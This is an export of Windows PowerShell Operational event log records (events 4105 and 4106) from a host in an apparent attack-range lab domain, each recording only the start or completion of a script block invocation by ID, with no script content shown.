ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034269
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034247
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034245
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034244
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034227
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034221
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034219
Keywords=None
